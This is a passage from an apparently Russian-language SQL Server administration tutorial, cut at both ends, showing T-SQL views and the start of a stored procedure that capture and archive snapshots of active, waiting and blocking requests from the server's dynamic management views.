,rs.[wait_time]--Если запрос в настоящий момент блокирован, в столбце содержится продолжительность текущего ожидания (в миллисекундах). Не допускает значение NULL. ,round(cast(rs.[wait_time] as decimal(18,3))/1000, 3) as [wait_timeSec] ,rs.[last_wait_type] collate Cyrillic_General_CI_AS as [last_wait_type]--Если запрос был блокирован ранее, в столбце содержится тип последнего ожидания. Не допускает значение NULL. ,rs.[wait_resource] collate Cyrillic_General_CI_AS as [wait_resource]--Если запрос в настоящий момент блокирован, в столбце указан ресурс, освобождения которого ожидает запрос. Не допускает значение NULL. ,rs.[open_transaction_count]--Число транзакций, открытых для данного запроса. Не допускает значение NULL. ,rs.[open_resultset_count]--Число результирующих наборов, открытых для данного запроса. Не допускает значение NULL. ,rs.[transaction_id]--Идентификатор транзакции, в которой выполняется запрос. Не допускает значение NULL. ,rs.[context_info] ,rs.[percent_complete] ,rs.[estimated_completion_time] ,round(cast(rs.[estimated_completion_time] as decimal(18,3))/1000, 3) as [estimated_completion_timeSec] ,rs.[cpu_time]--Время ЦП (в миллисекундах), затраченное на выполнение запроса. Не допускает значение NULL. ,round(cast(rs.[cpu_time] as decimal(18,3))/1000, 3) as [cpu_timeSec] ,rs.[total_elapsed_time]--Общее время, истекшее с момента поступления запроса (в миллисекундах). Не допускает значение NULL. ,rs.[scheduler_id]--Идентификатор планировщика, который планирует данный запрос. Не допускает значение NULL. ,rs.[task_address]--Адрес блока памяти, выделенного для задачи, связанной с этим запросом. Допускаются значения NULL. ,rs.[reads]--Число операций чтения, выполненных данным запросом. Не допускает значение NULL. ,rs.[writes]--Число операций записи, выполненных данным запросом. Не допускает значение NULL. ,rs.[logical_reads]--Число логических операций чтения, выполненных данным запросом. Не допускает значение NULL. ,rs.[text_size]--Установка параметра TEXTSIZE для данного запроса. Не допускает значение NULL. ,rs.[language] collate Cyrillic_General_CI_AS as [language]--Установка языка для данного запроса. Допускаются значения NULL. ,rs.[date_format] collate Cyrillic_General_CI_AS as [date_format]--Установка параметра DATEFORMAT для данного запроса. Допускаются значения NULL. ,rs.[date_first]--Установка параметра DATEFIRST для данного запроса. Не допускает значение NULL. ,rs.[quoted_identifier] ,rs.[arithabort] ,rs.[ansi_null_dflt_on] ,rs.[ansi_defaults] ,rs.[ansi_warnings] ,rs.[ansi_padding] ,rs.[ansi_nulls] ,rs.[concat_null_yields_null] ,rs.[transaction_isolation_level]--Уровень изоляции, с которым создана транзакция для данного запроса. Не допускает значение NULL (0-не задан, от 1 до 5 поувеличению уровня изоляции транзакции) ,rs.[lock_timeout]--Время ожидания блокировки для данного запроса (в миллисекундах). Не допускает значение NULL. ,round(cast(rs.[lock_timeout] as decimal(18,3))/1000, 3) as [lock_timeoutSec] ,rs.[deadlock_priority]--Значение параметра DEADLOCK_PRIORITY для данного запроса. Не допускает значение NULL. ,rs.[row_count]--Число строк, возвращенных клиенту по данному запросу. Не допускает значение NULL. ,rs.[prev_error]--Последняя ошибка, происшедшая при выполнении запроса. Не допускает значение NULL. ,rs.[nest_level]--Текущий уровень вложенности кода, выполняемого для данного запроса. Не допускает значение NULL. ,rs.[granted_query_memory]--Число страниц, выделенных для выполнения поступившего запроса. Не допускает значение NULL. ,rs.[executing_managed_code]--Указывает, выполняет ли данный запрос в настоящее время код объекта среды CLR (например, процедуры, типа или триггера). Этот флаг установлен в течение всего времени, когда объект среды CLR находится в стеке, даже когда из среды вызывается код Transact-SQL. Не допускает значение NULL. ,rs.[group_id]--Идентификатор группы рабочей нагрузки, которой принадлежит этот запрос. Не допускает значение NULL. ,rs.[query_hash]--Двоичное хэш-значение рассчитывается для запроса и используется для идентификации запросов с аналогичной логикой. Можно использовать хэш запроса для определения использования статистических ресурсов для запросов, которые отличаются только своими литеральными значениями. ,rs.[query_plan_hash]--Двоичное хэш-значение рассчитывается для плана выполнения запроса и используется для идентификации аналогичных планов выполнения запросов. Можно использовать хэш плана запроса для нахождения совокупной стоимости запросов со схожими планами выполнения. ,rs.[last_request_start_time] ,rs.[last_request_end_time] ,rs.[total_scheduled_time] ,rs.[memory_usage] ,rs.[nt_user_name] collate Cyrillic_General_CI_AS as [nt_user_name] ,rs.[nt_domain] collate Cyrillic_General_CI_AS as [nt_domain] ,rs.[security_id] ,rs.[client_interface_name] collate Cyrillic_General_CI_AS as [client_interface_name] ,rs.[client_version] ,rs.[host_process_id] ,rs.[login_time] ,rs.[most_recent_sql_handle] ,rs.[parent_connection_id] ,rs.[local_tcp_port] ,rs.[local_net_address] collate Cyrillic_General_CI_AS as [local_net_address] ,rs.[client_tcp_port] ,rs.[client_net_address] collate Cyrillic_General_CI_AS as [client_net_address] ,rs.[EndRegUTCDate] FROM [srv].[RequestStatistics] as rs with(readuncommitted) inner join [srv].[PlanQuery] as pq on rs.[plan_handle]=pq.[PlanHandle] and rs.[sql_handle]=pq.[SqlHandle] inner join [srv].[SQLQuery] as sq on sq.[SqlHandle]=pq.[SqlHandle] union all SELECT rs.[status] collate Cyrillic_General_CI_AS ,rs.[InsertUTCDate] ,rs.[start_time] ,rs.[command] collate Cyrillic_General_CI_AS ,rs.[session_id] ,rs.[blocking_session_id] ,round(cast(rs.[total_elapsed_time] as decimal(18,3))/1000, 3) as [total_elapsed_timeSec] ,DB_NAME(rs.[database_id]) collate Cyrillic_General_CI_AS as [DBName] ,rs.[is_user_process] ,rs.[login_name] collate Cyrillic_General_CI_AS ,rs.[program_name] collate Cyrillic_General_CI_AS ,rs.[host_name] collate Cyrillic_General_CI_AS ,sq.[TSQL] collate Cyrillic_General_CI_AS--,(select top(1) text from sys.dm_exec_sql_text([sql_handle])) as [TSQL] ,pq.[QueryPlan] ,rs.[plan_handle] ,rs.[user_id] ,rs.[connection_id] ,rs.[database_id] ,rs.[sql_handle] ,rs.[statement_start_offset]--Количество символов в выполняемом в настоящий момент пакете или хранимой процедуре, в которой запущена текущая инструкция. Может применяться вместе с функциями динамического управления sql_handle, statement_end_offset и sys.dm_exec_sql_text для получения исполняемой в настоящий момент инструкции для запроса. Допускаются значения NULL. ,rs.[statement_end_offset]--Количество символов в выполняемом в настоящий момент пакете или хранимой процедуре, в которой завершилась текущая инструкция. Может применяться вместе с функциями динамического управления sql_handle, statement_end_offset и sys.dm_exec_sql_text для получения исполняемой в настоящий момент инструкции для запроса. Допускаются значения NULL. ,rs.[wait_type] collate Cyrillic_General_CI_AS--тип ожидания ,rs.[wait_time]--Если запрос в настоящий момент блокирован, в столбце содержится продолжительность текущего ожидания (в миллисекундах). Не допускает значение NULL. ,round(cast(rs.[wait_time] as decimal(18,3))/1000, 3) as [wait_timeSec] ,rs.[last_wait_type] collate Cyrillic_General_CI_AS--Если запрос был блокирован ранее, в столбце содержится тип последнего ожидания. Не допускает значение NULL. ,rs.[wait_resource] collate Cyrillic_General_CI_AS--Если запрос в настоящий момент блокирован, в столбце указан ресурс, освобождения которого ожидает запрос. Не допускает значение NULL. ,rs.[open_transaction_count]--Число транзакций, открытых для данного запроса. Не допускает значение NULL. ,rs.[open_resultset_count]--Число результирующих наборов, открытых для данного запроса. Не допускает значение NULL. ,rs.[transaction_id]--Идентификатор транзакции, в которой выполняется запрос. Не допускает значение NULL. ,rs.[context_info] ,rs.[percent_complete] ,rs.[estimated_completion_time] ,round(cast(rs.[estimated_completion_time] as decimal(18,3))/1000, 3) as [estimated_completion_timeSec] ,rs.[cpu_time]--Время ЦП (в миллисекундах), затраченное на выполнение запроса. Не допускает значение NULL. ,round(cast(rs.[cpu_time] as decimal(18,3))/1000, 3) as [cpu_timeSec] ,rs.[total_elapsed_time]--Общее время, истекшее с момента поступления запроса (в миллисекундах). Не допускает значение NULL. ,rs.[scheduler_id]--Идентификатор планировщика, который планирует данный запрос. Не допускает значение NULL. ,rs.[task_address]--Адрес блока памяти, выделенного для задачи, связанной с этим запросом. Допускаются значения NULL. ,rs.[reads]--Число операций чтения, выполненных данным запросом. Не допускает значение NULL. ,rs.[writes]--Число операций записи, выполненных данным запросом. Не допускает значение NULL. ,rs.[logical_reads]--Число логических операций чтения, выполненных данным запросом. Не допускает значение NULL. ,rs.[text_size]--Установка параметра TEXTSIZE для данного запроса. Не допускает значение NULL. ,rs.[language] collate Cyrillic_General_CI_AS--Установка языка для данного запроса. Допускаются значения NULL. ,rs.[date_format] collate Cyrillic_General_CI_AS--Установка параметра DATEFORMAT для данного запроса. Допускаются значения NULL. ,rs.[date_first]--Установка параметра DATEFIRST для данного запроса. Не допускает значение NULL. ,rs.[quoted_identifier] ,rs.[arithabort] ,rs.[ansi_null_dflt_on] ,rs.[ansi_defaults] ,rs.[ansi_warnings] ,rs.[ansi_padding] ,rs.[ansi_nulls] ,rs.[concat_null_yields_null] ,rs.[transaction_isolation_level]--Уровень изоляции, с которым создана транзакция для данного запроса. Не допускает значение NULL (0-не задан, от 1 до 5 поувеличению уровня изоляции транзакции) ,rs.[lock_timeout]--Время ожидания блокировки для данного запроса (в миллисекундах). Не допускает значение NULL. ,round(cast(rs.[lock_timeout] as decimal(18,3))/1000, 3) as [lock_timeoutSec] ,rs.[deadlock_priority]--Значение параметра DEADLOCK_PRIORITY для данного запроса. Не допускает значение NULL. ,rs.[row_count]--Число строк, возвращенных клиенту по данному запросу. Не допускает значение NULL. ,rs.[prev_error]--Последняя ошибка, происшедшая при выполнении запроса. Не допускает значение NULL. ,rs.[nest_level]--Текущий уровень вложенности кода, выполняемого для данного запроса. Не допускает значение NULL. ,rs.[granted_query_memory]--Число страниц, выделенных для выполнения поступившего запроса. Не допускает значение NULL. ,rs.[executing_managed_code]--Указывает, выполняет ли данный запрос в настоящее время код объекта среды CLR (например, процедуры, типа или триггера). Этот флаг установлен в течение всего времени, когда объект среды CLR находится в стеке, даже когда из среды вызывается код Transact-SQL. Не допускает значение NULL. ,rs.[group_id]--Идентификатор группы рабочей нагрузки, которой принадлежит этот запрос. Не допускает значение NULL. ,rs.[query_hash]--Двоичное хэш-значение рассчитывается для запроса и используется для идентификации запросов с аналогичной логикой. Можно использовать хэш запроса для определения использования статистических ресурсов для запросов, которые отличаются только своими литеральными значениями. ,rs.[query_plan_hash]--Двоичное хэш-значение рассчитывается для плана выполнения запроса и используется для идентификации аналогичных планов выполнения запросов. Можно использовать хэш плана запроса для нахождения совокупной стоимости запросов со схожими планами выполнения. ,rs.[last_request_start_time] ,rs.[last_request_end_time] ,rs.[total_scheduled_time] ,rs.[memory_usage] ,rs.[nt_user_name] collate Cyrillic_General_CI_AS ,rs.[nt_domain] collate Cyrillic_General_CI_AS ,rs.[security_id] ,rs.[client_interface_name] collate Cyrillic_General_CI_AS ,rs.[client_version] ,rs.[host_process_id] ,rs.[login_time] ,rs.[most_recent_sql_handle] ,rs.[parent_connection_id] ,rs.[local_tcp_port] ,rs.[local_net_address] collate Cyrillic_General_CI_AS ,rs.[client_tcp_port] ,rs.[client_net_address] collate Cyrillic_General_CI_AS ,rs.[EndRegUTCDate] FROM [srv].[RequestStatisticsArchive] as rs with(readuncommitted) inner join [srv].[PlanQuery] as pq on rs.[plan_handle]=pq.[PlanHandle] and rs.[sql_handle]=pq.[SqlHandle] inner join [srv].[SQLQuery] as sq on sq.[SqlHandle]=pq.[SqlHandle] GO ``` 6) Представление по выборке активных запросов в текущий момент времени: **Представление по выборке активных запросов в текущий момент времени** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE view [inf].[vRequestDetail] as /*Активные, готовые к выполнению и ожидающие запросы, а также те, что явно блокируют другие сеансы*/ with tbl0 as ( select ES.[session_id] ,ER.[blocking_session_id] ,ER.[request_id] ,ER.[start_time] ,ER.[status] ,ER.[command] ,ER.[percent_complete] ,DB_Name(coalesce(ER.[database_id], ES.[database_id])) as [DBName] ,(select top(1) text from sys.dm_exec_sql_text(ER.[sql_handle])) as [TSQL] ,(select top(1) [query_plan] from sys.dm_exec_query_plan(ER.[plan_handle])) as [QueryPlan] ,ER.[wait_type] ,ES.[login_time] ,ES.[host_name] ,ES.[program_name] ,ER.[wait_time] ,ER.[last_wait_type] ,ER.[wait_resource] ,ER.[open_transaction_count] ,ER.[open_resultset_count] ,ER.[transaction_id] ,ER.[context_info] ,ER.[estimated_completion_time] ,ER.[cpu_time] ,ER.[total_elapsed_time] ,ER.[scheduler_id] ,ER.[task_address] ,ER.[reads] ,ER.[writes] ,ER.[logical_reads] ,ER.[text_size] ,ER.[language] ,ER.[date_format] ,ER.[date_first] ,ER.[quoted_identifier] ,ER.[arithabort] ,ER.[ansi_null_dflt_on] ,ER.[ansi_defaults] ,ER.[ansi_warnings] ,ER.[ansi_padding] ,ER.[ansi_nulls] ,ER.[concat_null_yields_null] ,ER.[transaction_isolation_level] ,ER.[lock_timeout] ,ER.[deadlock_priority] ,ER.[row_count] ,ER.[prev_error] ,ER.[nest_level] ,ER.[granted_query_memory] ,ER.[executing_managed_code] ,ER.[group_id] ,ER.[query_hash] ,ER.[query_plan_hash] ,EC.[most_recent_session_id] ,EC.[connect_time] ,EC.[net_transport] ,EC.[protocol_type] ,EC.[protocol_version] ,EC.[endpoint_id] ,EC.[encrypt_option] ,EC.[auth_scheme] ,EC.[node_affinity] ,EC.[num_reads] ,EC.[num_writes] ,EC.[last_read] ,EC.[last_write] ,EC.[net_packet_size] ,EC.[client_net_address] ,EC.[client_tcp_port] ,EC.[local_net_address] ,EC.[local_tcp_port] ,EC.[parent_connection_id] ,EC.[most_recent_sql_handle] ,ES.[host_process_id] ,ES.[client_version] ,ES.[client_interface_name] ,ES.[security_id] ,ES.[login_name] ,ES.[nt_domain] ,ES.[nt_user_name] ,ES.[memory_usage] ,ES.[total_scheduled_time] ,ES.[last_request_start_time] ,ES.[last_request_end_time] ,ES.[is_user_process] ,ES.[original_security_id] ,ES.[original_login_name] ,ES.[last_successful_logon] ,ES.[last_unsuccessful_logon] ,ES.[unsuccessful_logons] ,ES.[authenticating_database_id] ,ER.[sql_handle] ,ER.[statement_start_offset] ,ER.[statement_end_offset] ,ER.[plan_handle] ,coalesce(ER.[database_id], ES.[database_id]) as [database_id] ,ER.[user_id] ,ER.[connection_id] from sys.dm_exec_requests ER with(readuncommitted) right join sys.dm_exec_sessions ES with(readuncommitted) on ES.session_id = ER.session_id left join sys.dm_exec_connections EC with(readuncommitted) on EC.session_id = ES.session_id ) , tbl as ( select [session_id] ,[blocking_session_id] ,[request_id] ,[start_time] ,[status] ,[command] ,[percent_complete] ,[DBName] ,[TSQL] ,[QueryPlan] ,[wait_type] ,[login_time] ,[host_name] ,[program_name] ,[wait_time] ,[last_wait_type] ,[wait_resource] ,[open_transaction_count] ,[open_resultset_count] ,[transaction_id] ,[context_info] ,[estimated_completion_time] ,[cpu_time] ,[total_elapsed_time] ,[scheduler_id] ,[task_address] ,[reads] ,[writes] ,[logical_reads] ,[text_size] ,[language] ,[date_format] ,[date_first] ,[quoted_identifier] ,[arithabort] ,[ansi_null_dflt_on] ,[ansi_defaults] ,[ansi_warnings] ,[ansi_padding] ,[ansi_nulls] ,[concat_null_yields_null] ,[transaction_isolation_level] ,[lock_timeout] ,[deadlock_priority] ,[row_count] ,[prev_error] ,[nest_level] ,[granted_query_memory] ,[executing_managed_code] ,[group_id] ,[query_hash] ,[query_plan_hash] ,[most_recent_session_id] ,[connect_time] ,[net_transport] ,[protocol_type] ,[protocol_version] ,[endpoint_id] ,[encrypt_option] ,[auth_scheme] ,[node_affinity] ,[num_reads] ,[num_writes] ,[last_read] ,[last_write] ,[net_packet_size] ,[client_net_address] ,[client_tcp_port] ,[local_net_address] ,[local_tcp_port] ,[parent_connection_id] ,[most_recent_sql_handle] ,[host_process_id] ,[client_version] ,[client_interface_name] ,[security_id] ,[login_name] ,[nt_domain] ,[nt_user_name] ,[memory_usage] ,[total_scheduled_time] ,[last_request_start_time] ,[last_request_end_time] ,[is_user_process] ,[original_security_id] ,[original_login_name] ,[last_successful_logon] ,[last_unsuccessful_logon] ,[unsuccessful_logons] ,[authenticating_database_id] ,[sql_handle] ,[statement_start_offset] ,[statement_end_offset] ,[plan_handle] ,[database_id] ,[user_id] ,[connection_id] from tbl0 where [status] in ('suspended', 'running', 'runnable') ) , tbl_group as ( select [blocking_session_id] from tbl where [blocking_session_id]<>0 group by [blocking_session_id] ) select [session_id] ,[blocking_session_id] ,[request_id] ,[start_time] ,[status] ,[command] ,[percent_complete] ,[DBName] ,[TSQL] ,[QueryPlan] ,[wait_type] ,[login_time] ,[host_name] ,[program_name] ,[wait_time] ,[last_wait_type] ,[wait_resource] ,[open_transaction_count] ,[open_resultset_count] ,[transaction_id] ,[context_info] ,[estimated_completion_time] ,[cpu_time] ,[total_elapsed_time] ,[scheduler_id] ,[task_address] ,[reads] ,[writes] ,[logical_reads] ,[text_size] ,[language] ,[date_format] ,[date_first] ,[quoted_identifier] ,[arithabort] ,[ansi_null_dflt_on] ,[ansi_defaults] ,[ansi_warnings] ,[ansi_padding] ,[ansi_nulls] ,[concat_null_yields_null] ,[transaction_isolation_level] ,[lock_timeout] ,[deadlock_priority] ,[row_count] ,[prev_error] ,[nest_level] ,[granted_query_memory] ,[executing_managed_code] ,[group_id] ,[query_hash] ,[query_plan_hash] ,[most_recent_session_id] ,[connect_time] ,[net_transport] ,[protocol_type] ,[protocol_version] ,[endpoint_id] ,[encrypt_option] ,[auth_scheme] ,[node_affinity] ,[num_reads] ,[num_writes] ,[last_read] ,[last_write] ,[net_packet_size] ,[client_net_address] ,[client_tcp_port] ,[local_net_address] ,[local_tcp_port] ,[parent_connection_id] ,[most_recent_sql_handle] ,[host_process_id] ,[client_version] ,[client_interface_name] ,[security_id] ,[login_name] ,[nt_domain] ,[nt_user_name] ,[memory_usage] ,[total_scheduled_time] ,[last_request_start_time] ,[last_request_end_time] ,[is_user_process] ,[original_security_id] ,[original_login_name] ,[last_successful_logon] ,[last_unsuccessful_logon] ,[unsuccessful_logons] ,[authenticating_database_id] ,[sql_handle] ,[statement_start_offset] ,[statement_end_offset] ,[plan_handle] ,[database_id] ,[user_id] ,[connection_id] from tbl union all select tbl0.[session_id] ,tbl0.[blocking_session_id] ,tbl0.[request_id] ,tbl0.[start_time] ,tbl0.[status] ,tbl0.[command] ,tbl0.[percent_complete] ,tbl0.[DBName] ,tbl0.[TSQL] ,tbl0.[QueryPlan] ,tbl0.[wait_type] ,tbl0.[login_time] ,tbl0.[host_name] ,tbl0.[program_name] ,tbl0.[wait_time] ,tbl0.[last_wait_type] ,tbl0.[wait_resource] ,tbl0.[open_transaction_count] ,tbl0.[open_resultset_count] ,tbl0.[transaction_id] ,tbl0.[context_info] ,tbl0.[estimated_completion_time] ,tbl0.[cpu_time] ,tbl0.[total_elapsed_time] ,tbl0.[scheduler_id] ,tbl0.[task_address] ,tbl0.[reads] ,tbl0.[writes] ,tbl0.[logical_reads] ,tbl0.[text_size] ,tbl0.[language] ,tbl0.[date_format] ,tbl0.[date_first] ,tbl0.[quoted_identifier] ,tbl0.[arithabort] ,tbl0.[ansi_null_dflt_on] ,tbl0.[ansi_defaults] ,tbl0.[ansi_warnings] ,tbl0.[ansi_padding] ,tbl0.[ansi_nulls] ,tbl0.[concat_null_yields_null] ,tbl0.[transaction_isolation_level] ,tbl0.[lock_timeout] ,tbl0.[deadlock_priority] ,tbl0.[row_count] ,tbl0.[prev_error] ,tbl0.[nest_level] ,tbl0.[granted_query_memory] ,tbl0.[executing_managed_code] ,tbl0.[group_id] ,tbl0.[query_hash] ,tbl0.[query_plan_hash] ,tbl0.[most_recent_session_id] ,tbl0.[connect_time] ,tbl0.[net_transport] ,tbl0.[protocol_type] ,tbl0.[protocol_version] ,tbl0.[endpoint_id] ,tbl0.[encrypt_option] ,tbl0.[auth_scheme] ,tbl0.[node_affinity] ,tbl0.[num_reads] ,tbl0.[num_writes] ,tbl0.[last_read] ,tbl0.[last_write] ,tbl0.[net_packet_size] ,tbl0.[client_net_address] ,tbl0.[client_tcp_port] ,tbl0.[local_net_address] ,tbl0.[local_tcp_port] ,tbl0.[parent_connection_id] ,tbl0.[most_recent_sql_handle] ,tbl0.[host_process_id] ,tbl0.[client_version] ,tbl0.[client_interface_name] ,tbl0.[security_id] ,tbl0.[login_name] ,tbl0.[nt_domain] ,tbl0.[nt_user_name] ,tbl0.[memory_usage] ,tbl0.[total_scheduled_time] ,tbl0.[last_request_start_time] ,tbl0.[last_request_end_time] ,tbl0.[is_user_process] ,tbl0.[original_security_id] ,tbl0.[original_login_name] ,tbl0.[last_successful_logon] ,tbl0.[last_unsuccessful_logon] ,tbl0.[unsuccessful_logons] ,tbl0.[authenticating_database_id] ,tbl0.[sql_handle] ,tbl0.[statement_start_offset] ,tbl0.[statement_end_offset] ,tbl0.[plan_handle] ,tbl0.[database_id] ,tbl0.[user_id] ,tbl0.[connection_id] from tbl_group as tg inner join tbl0 on tg.blocking_session_id=tbl0.session_id; GO ``` Для снятия снимка активных запросов с последующим сохранением его в выше описанные таблицы, создадим хранимую процедуру: **Пример реализации хранимой процедуры для сбора снимков активных запросов** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE PROCEDURE [srv].[AutoStatisticsActiveRequests] AS BEGIN SET NOCOUNT ON; SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED; declare @tbl0 table ( [SQLHandle] [varbinary](64) NOT NULL, [TSQL] [nvarchar](max) NULL ); declare @tbl1 table ( [PlanHandle] [varbinary](64) NOT NULL, [SQLHandle] [varbinary](64) NOT NULL, [QueryPlan] [xml] NULL ); declare @tbl2 table ( [session_id] [smallint] NOT NULL, [request_id] [int] NULL, [start_time] [datetime] NULL, [status] [nvarchar](30) NULL, [command] [nvarchar](32) NULL, [sql_handle] [varbinary](64) NULL, [statement_start_offset] [int] NULL, [statement_end_offset] [int] NULL, [plan_handle] [varbinary](64) NULL, [database_id] [smallint] NULL, [user_id] [int] NULL, [connection_id] [uniqueidentifier] NULL, [blocking_session_id] [smallint] NULL, [wait_type] [nvarchar](60) NULL, [wait_time] [int] NULL, [last_wait_type] [nvarchar](60) NULL, [wait_resource] [nvarchar](256) NULL, [open_transaction_count] [int] NULL, [open_resultset_count] [int] NULL, [transaction_id] [bigint] NULL, [context_info] [varbinary](128) NULL, [percent_complete] [real] NULL, [estimated_completion_time] [bigint] NULL, [cpu_time] [int] NULL, [total_elapsed_time] [int] NULL, [scheduler_id] [int] NULL, [task_address] [varbinary](8) NULL, [reads] [bigint] NULL, [writes] [bigint] NULL, [logical_reads] [bigint] NULL, [text_size] [int] NULL, [language] [nvarchar](128) NULL, [date_format] [nvarchar](3) NULL, [date_first] [smallint] NULL, [quoted_identifier] [bit] NULL, [arithabort] [bit] NULL, [ansi_null_dflt_on] [bit] NULL, [ansi_defaults] [bit] NULL, [ansi_warnings] [bit] NULL, [ansi_padding] [bit] NULL, [ansi_nulls] [bit] NULL, [concat_null_yields_null] [bit] NULL, [transaction_isolation_level] [smallint] NULL, [lock_timeout] [int] NULL, [deadlock_priority] [int] NULL, [row_count] [bigint] NULL, [prev_error] [int] NULL, [nest_level] [int] NULL, [granted_query_memory] [int] NULL, [executing_managed_code] [bit] NULL, [group_id] [int] NULL, [query_hash] [binary](8) NULL, [query_plan_hash] [binary](8) NULL, [most_recent_session_id] [int] NULL, [connect_time] [datetime] NULL, [net_transport] [nvarchar](40) NULL, [protocol_type] [nvarchar](40) NULL, [protocol_version] [int] NULL, [endpoint_id] [int] NULL, [encrypt_option] [nvarchar](40) NULL, [auth_scheme] [nvarchar](40) NULL, [node_affinity] [smallint] NULL, [num_reads] [int] NULL, [num_writes] [int] NULL, [last_read] [datetime] NULL, [last_write] [datetime] NULL, [net_packet_size] [int] NULL, [client_net_address] [varchar](48) NULL, [client_tcp_port] [int] NULL, [local_net_address] [varchar](48) NULL, [local_tcp_port] [int] NULL, [parent_connection_id] [uniqueidentifier] NULL, [most_recent_sql_handle] [varbinary](64) NULL, [login_time] [datetime] NULL, [host_name] [nvarchar](128) NULL, [program_name] [nvarchar](128) NULL, [host_process_id] [int] NULL, [client_version] [int] NULL, [client_interface_name] [nvarchar](32) NULL, [security_id] [varbinary](85) NULL, [login_name] [nvarchar](128) NULL, [nt_domain] [nvarchar](128) NULL, [nt_user_name] [nvarchar](128) NULL, [memory_usage] [int] NULL, [total_scheduled_time] [int] NULL, [last_request_start_time] [datetime] NULL, [last_request_end_time] [datetime] NULL, [is_user_process] [bit] NULL, [original_security_id] [varbinary](85) NULL, [original_login_name] [nvarchar](128) NULL, [last_successful_logon] [datetime] NULL, [last_unsuccessful_logon] [datetime] NULL, [unsuccessful_logons] [bigint] NULL, [authenticating_database_id] [int] NULL, [TSQL] [nvarchar](max) NULL, [QueryPlan] [xml] NULL ); insert into @tbl2 ( [session_id] ,[request_id] ,[start_time] ,[status] ,[command] ,[sql_handle] ,[TSQL] ,[statement_start_offset] ,[statement_end_offset] ,[plan_handle] ,[QueryPlan] ,[database_id] ,[user_id] ,[connection_id] ,[blocking_session_id] ,[wait_type] ,[wait_time] ,[last_wait_type] ,[wait_resource] ,[open_transaction_count] ,[open_resultset_count] ,[transaction_id] ,[context_info] ,[percent_complete] ,[estimated_completion_time] ,[cpu_time] ,[total_elapsed_time] ,[scheduler_id] ,[task_address] ,[reads] ,[writes] ,[logical_reads] ,[text_size] ,[language] ,[date_format] ,[date_first] ,[quoted_identifier] ,[arithabort] ,[ansi_null_dflt_on] ,[ansi_defaults] ,[ansi_warnings] ,[ansi_padding] ,[ansi_nulls] ,[concat_null_yields_null] ,[transaction_isolation_level] ,[lock_timeout] ,[deadlock_priority] ,[row_count] ,[prev_error] ,[nest_level] ,[granted_query_memory] ,[executing_managed_code] ,[group_id] ,[query_hash] ,[query_plan_hash] ,[most_recent_session_id] ,[connect_time] ,[net_transport] ,[protocol_type] ,[protocol_version] ,[endpoint_id] ,[encrypt_option] ,[auth_scheme] ,[node_affinity] ,[num_reads] ,[num_writes] ,[last_read] ,[last_write] ,[net_packet_size] ,[client_net_address] ,[client_tcp_port] ,[local_net_address] ,[local_tcp_port] ,[parent_connection_id] ,[most_recent_sql_handle] ,[login_time] ,[host_name] ,[program_name] ,[host_process_id] ,[client_version] ,[client_interface_name] ,[security_id] ,[login_name] ,[nt_domain] ,[nt_user_name] ,[memory_usage] ,[total_scheduled_time] ,[last_request_start_time] ,[last_request_end_time] ,[is_user_process] ,[original_security_id] ,[original_login_name] ,[last_successful_logon] ,[last_unsuccessful_logon] ,[unsuccessful_logons] ,[authenticating_database_id] ) select [session_id] ,[request_id] ,[start_time] ,[status] ,[command] ,[sql_handle] ,[TSQL] ,[statement_start_offset] ,[statement_end_offset] ,[plan_handle] ,[QueryPlan] ,[database_id] ,[user_id] ,[connection_id] ,[blocking_session_id] ,[wait_type] ,[wait_time] ,[last_wait_type] ,[wait_resource] ,[open_transaction_count] ,[open_resultset_count] ,[transaction_id] ,[context_info] ,[percent_complete] ,[estimated_completion_time] ,[cpu_time] ,[total_elapsed_time] ,[scheduler_id] ,[task_address] ,[reads] ,[writes] ,[logical_reads] ,[text_size] ,[language] ,[date_format] ,[date_first] ,[quoted_identifier] ,[arithabort] ,[ansi_null_dflt_on] ,[ansi_defaults] ,[ansi_warnings] ,[ansi_padding] ,[ansi_nulls] ,[concat_null_yields_null] ,[transaction_isolation_level] ,[lock_timeout] ,[deadlock_priority] ,[row_count] ,[prev_error] ,[nest_level] ,[granted_query_memory] ,[executing_managed_code] ,[group_id] ,[query_hash] ,[query_plan_hash] ,[most_recent_session_id] ,[connect_time] ,[net_transport] ,[protocol_type] ,[protocol_version] ,[endpoint_id] ,[encrypt_option] ,[auth_scheme] ,[node_affinity] ,[num_reads] ,[num_writes] ,[last_read] ,[last_write] ,[net_packet_size] ,[client_net_address] ,[client_tcp_port] ,[local_net_address] ,[local_tcp_port] ,[parent_connection_id] ,[most_recent_sql_handle] ,[login_time] ,[host_name] ,[program_name] ,[host_process_id] ,[client_version] ,[client_interface_name] ,[security_id] ,[login_name] ,[nt_domain] ,[nt_user_name] ,[memory_usage] ,[total_scheduled_time] ,[last_request_start_time] ,[last_request_end_time] ,[is_user_process] ,[original_security_id] ,[original_login_name] ,[last_successful_logon] ,[last_unsuccessful_logon] ,[unsuccessful_logons] ,[authenticating_database_id] from [inf].[vRequestDetail]; insert into @tbl1 ( [PlanHandle], [SQLHandle], [QueryPlan] ) select [plan_handle], [sql_handle], (select top(1) [query_plan] from sys.dm_exec_query_plan([plan_handle])) as [QueryPlan] from @tbl2 where (select top(1) [query_plan] from sys.dm_exec_query_plan([plan_handle])) is not null group by [plan_handle], [sql_handle]; insert into @tbl0 ( [SQLHandle], [TSQL] ) select [sql_handle], (select top(1) text from sys.dm_exec_sql_text([sql_handle])) as [TSQL]--[query_text] from @tbl2 where (select top(1) text from sys.dm_exec_sql_text([sql_handle])) is not null group by [sql_handle]; ;merge [srv].[SQLQuery] as trg using @tbl0 as src on trg.[SQLHandle]=src.[SQLHandle] WHEN NOT MATCHED BY TARGET THEN INSERT ( [SQLHandle], [TSQL] ) VALUES ( src.[SQLHandle], src.[TSQL] ); ;merge [srv].[PlanQuery] as trg using @tbl1 as src on trg.[SQLHandle]=src.[SQLHandle] and trg.[PlanHandle]=src.[PlanHandle] WHEN NOT MATCHED BY TARGET THEN INSERT ( [PlanHandle], [SQLHandle], [QueryPlan] ) VALUES ( src.[PlanHandle], src.[SQLHandle], src.[QueryPlan] ); select [session_id] ,[request_id] ,[start_time] ,[status] ,[command] ,[sql_handle] ,(select top(1) 1 from @tbl0 as t where t.[SQLHandle]=tt.[sql_handle]) as [TSQL] ,[statement_start_offset] ,[statement_end_offset] ,[plan_handle] ,(select top(1) 1 from @tbl1 as t where t.[PlanHandle]=tt.[plan_handle]) as [QueryPlan] ,[database_id] 